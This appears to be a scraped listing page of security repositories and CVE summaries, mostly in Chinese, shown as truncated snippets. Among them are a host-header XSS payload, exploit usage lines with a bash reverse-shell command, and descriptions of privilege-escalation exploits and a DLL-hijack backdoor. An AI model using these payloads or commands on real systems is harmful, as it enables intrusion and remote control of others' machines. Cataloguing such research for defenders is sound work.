sysmon-config

sysmon-config | 适合所有人fork的Sysmon配置文件 这是一份Microsoft Sysinternals Sysmon配置文件模板，带有默认的高质量事件追踪功能。 该文件应能作为一个很好的起点，用于在自包含且易于访问的包中进行系统变更监控。此配置及其结果应能让你对Sysmon的能力有一个清晰的认识。请注意，这不会追踪诸如身份验证和其他对事件调查同样至关重要的Windows事件。 sysmonconfig-export.xml 因为几乎每一行都有注释，并且各个部分都附有说明，所以它还可以作为Sysmon的教程以及Windows系统中关键监控区域的指南。...

CVE-2022-24181

CVE-2022-24181 和 CVE-2022-26616。两者可能相同 Open-journal-system-漏洞 通过主机头注入的XSS及窃取其他用户的密码重置令牌 复现步骤： 1. 访问此网站：https://who's-using-ojs-software.com 2. 在Burp中捕获此请求，并发送到Repeater。 3. 在Host Header之后添加此内容：X-Forwarded-Host: foo"x=".com 4. 然后点击发送，之后右键点击请求并选择在浏览器中显示响应，然后复制该请求。 5. 在浏览器中粘贴此请求，你会看到XSS弹窗。...

CVE-2019-9193

EN GenPostgresRCEExploit 是一个 PoC 工具，旨在利用特定版本 PostgreSQL（9.3 - 11.7）中经过身份验证的远程代码执行（RCE）漏洞。它允许已认证用户在存在 CVE-2019-9193 漏洞的 PostgreSQL 数据库服务器上执行系统命令。 功能特性 RCE 漏洞利用 ：通过已认证的 PostgreSQL 会话执行系统命令。 版本检查 ：验证目标 PostgreSQL 服务器的版本，以确认是否存在该漏洞。 命令执行 ：如果服务器存在漏洞，则允许在服务器上执行自定义命令。 自动表管理 ：自动创建和删除用于命令执行的临时表，无需手动干预。 环境...

EUVD-2026-95983

Jexactyl is a customisable game management panel and billing system. From 4.0.0 until 4.0.5, the POST /api/client/billing/free/process endpoint accepts a client-controlled serverid and loads the server without restricting the lookup to servers owned by the authenticated account. On installations...

CVE-2024-26229

CVE-2024-26229 Windows CSC服务特权提升漏洞。 当程序向缓冲区写入的数据超出其处理能力时，就会发生基于堆的缓冲区溢出，从而导致多余的数据溢出到相邻的内存区域。这种溢出会损坏内存，并可能使攻击者能够执行任意代码或未经授权访问系统。本质上，攻击者可以编写触发溢出的恶意代码或输入，从而控制受影响的系统、执行 任意命令、安装恶意软件或访问敏感数据。 微软已发出警告成功利用此漏洞的攻击者可以获得 SYSTEM 权限，这是 Windows 系统上的最高访问级别。这增加了与 CVE-2024-26229 相关的风险，使其成为恶意行为者的主要目标。 compiled by clx...

CVE-2023-21674

2023年首例野外0日漏洞 🔥 CVE-2023-21674 是 Windows 高级本地过程调用 ALPC 中的一个漏洞，可导致浏览器沙箱逃逸，并允许攻击者获取 SYSTEM 权限，由 Avast 发现。 kd !analyze -v Bugcheck Analysis PAGEFAULTINNONPAGEDAREA 50 Invalid system memory was referenced. This cannot be protected by try-except. Typically the address is just plain bad or it is pointi...

bpflock

bpflock - Lock Linux machines bpflock - eBPF driven security for locking and auditing Linux machines. Note: bpflock is currently in experimental stage , it may break, options and security semantics may change, some BPF programs will be updated to use Cilium ebpf library. Sections 1. Introduction...

CVE-2009-4623

Advanced Comment System 1.0 - 远程命令执行 RCE https://nvd.nist.gov/vuln/detail/CVE-2009-4623 示例 python3 exploit.py http://127.0.0.1 uname -a python3 exploit.py http://127.0.0.1 'bash -i & /dev/tcp/127.0.0.1/443 0&1'...

printix-CVE-2022-25089

CVE-2022-25089 系统管理员的完全噩梦：用户无需认证即可随时随地更改注册表。 探索文档 » 查看演示 . 报告错误 . 请求功能 目录 关于项目 构建工具 开始使用 先决条件 安装 使用 路线图 贡献 许可证 作者 致谢 关于项目 PrintixService.exe中存在一个“特权API使用不当”漏洞，在Printix的“Printix Secure Cloud Print Management”1.3.1106.0及以下版本中，本地或远程攻击者能够通过UITasks.PersistentRegistryData参数以SYSTEM上下文更改所有HKEY Windows注册表...

shodan

Shodan Dorks by twitter.com/lothos612 Feel free to make suggestions Shodan Dorks Basic Shodan Filters city: Find devices in a particular city. city:"Bangalore" country: Find devices in a particular country. country:"IN" geo: Find devices by giving geographical coordinates...

system_bt_AOSP10_r33_CVE-2022-20229

Fluoride 蓝牙栈 在 AOSP 上构建和运行 直接构建 AOSP — Fluoride 默认包含在内。 在 Linux 上构建和运行 Ubuntu 使用说明，已在 14.04 Clang 3.5.0 和 16.10 Clang 3.8.0 上测试通过 下载源代码 mkdir /fluoride cd /fluoride git clone https://android.googlesource.com/platform/system/bt 安装依赖（需要 sudo 权限）： cd /fluoride/bt build/installdeps.sh 然后获取第三方依赖： cd...

faxhell

faxhell（“Fax Shell”） 一个利用 Fax 服务和基于 Ualapi.dll 的 DLL 劫持的概念验证型绑定后门。 详见我们的文章：https://windows-internals.com/faxing-your-way-to-system/ 如何使用 构建 Ualapi.dll 并放入 c:\windows\system32 启动 Fax 服务，该服务将加载 DLL 并调用导出函数 UalStart。UalStart 会将一个线程池工作项排队，该工作项将打开一个指向 RpcSs 的句柄，找到 SYSTEM...

CVE-2022-30887

CVE-2022-30887 药店管理系统 1.0 Shell 上传 该应用由 Mayurik 构建 这个用PHP开发的药店管理系统项目旨在通过安全和管理来提高药店的准确性和效率。简而言之，它是一个产品库存应用。 发现药店管理系统v1.0存在远程代码执行（RCE）漏洞，漏洞组件为“/phpaction/editProductImage.php”。攻击者可以通过特制图片文件执行任意代码。 什么是文件包含攻击 文件上传漏洞通常是一种允许脚本运行的漏洞。当我们上传文件到服务器并在上传的文件上输入命令时，它就会起作用。文件上传漏洞分为两种类型： LFI （本地文件包含） RFI （远程文件包含）...

otseca

Open source security auditing tool to search and dump system configuration. Introduction | Description | Requirements | Output | Parameters | Reports | How it works | Other Introduction The main goal The main assumption of creating this tool was easier and faster delivery of commands sets to be...

otseca

开源安全审计工具，用于搜索和导出系统配置。 介绍 | 描述 | 要求 | 输出 | 参数 | 报告 | 工作原理 | 其他 介绍 主要目标 创建此工具的主要假设是 更轻松 且 更快速 地交付需在客户环境中执行的 命令集 。通过这样的扫描，我希望在后续的渗透测试和审计之前，获取关于系统组件最有用的信息。 适用人群 Otseca 有助于收集给定系统的许多重要信息。 它对以下人群非常有用： :ballotboxwithcheck: 系统管理员 :ballotboxwithcheck: 安全研究人员 :ballotboxwithcheck: 安全专业人员 :ballotboxwithcheck:...

ssct

ShadowSocks ConnecTion A wrapper tool for shadowsocks to consistently bypass firewalls. Quick start Automatically connect The easiest way to run this tool is just type ssct in terminal, and ssct will acquire available shadowsocks servers from ishadowsocks and connect to it automatically. Connect ...

CVE-2021-21551

CVE-2021-21551 针对 CVE-2021-21551 的 SYSTEM 利用程序 SpoolPrinter 利用 SeImpersonatePrivileges 进行权限提升，这归功于 @ForrestOrr https://github.com/forrest-orr/DoubleStar/tree/main/Payloads/Source/Stage3SpoolPotato 我基本上只是把利用函数塞进了他的代码中，并做了微乎其微的改动。 NtQuerySystemInformation 几乎是从 @VoidSec...

Crescendo

目录 1. 入门指南 2. 要求 3. 组件 4. 测试与开发 5. 签名 6. 构建 7. 问题/错误/功能 8. 故障排除 9. TODO 入门指南 Apple引入了一些新的安全机制，我们需要启用它们才能运行Crescendo。 1. 确保已将应用移动到你的/Applications目录，否则系统扩展将加载失败。 2. 首次运行时，点击“Start”按钮后，你会被提示批准系统扩展。 注意：我注意到一个问题，系统偏好设置不会显示允许按钮。我猜想这是Apple需要解决的内部问题。点击返回系统偏好设置然后再次导航似乎可以解决这个问题。 3. 你需要为系统扩展启用完全磁盘访问权限。 要求...

CVE-2025-46173

CVE-2025-46173 - Online Exam Mastering System 1.0 存储型跨站脚本（XSS）漏洞 📌 概述 CVE-2025-46173 是 code-projects 开发的 Online Exam Mastering System 1.0 中存在的一个存储型跨站脚本（XSS）漏洞。该漏洞存在于feedback.php 组件中，用户在姓名字段中的输入未经过适当的净化处理，恶意攻击者可借此注入任意 JavaScript。当管理员在管理后台（dash.php）查看该反馈时，载荷会在管理员的浏览器中执行，从而导致会话劫持和潜在的权限提升。 🧠 漏洞详情 漏洞类...

Project-CVE-2015-1635

CVE-2015-1635 CVE-2015-1635,MS15-034 漏洞检测 USAGE python MS15-034.py www.xxx.com:80 测试程序 HTTP.sys远程执行代码漏洞（CVE-2015-1635，MS15-034） 远程执行代码漏洞存在于 HTTP 协议堆栈 HTTP.sys 中，当 HTTP.sys 未正确分析经特殊设计的 HTTP 请求时会导致此漏洞。成功利用此漏洞的攻击者可以在系统帐户的上下文中执行任意代码。...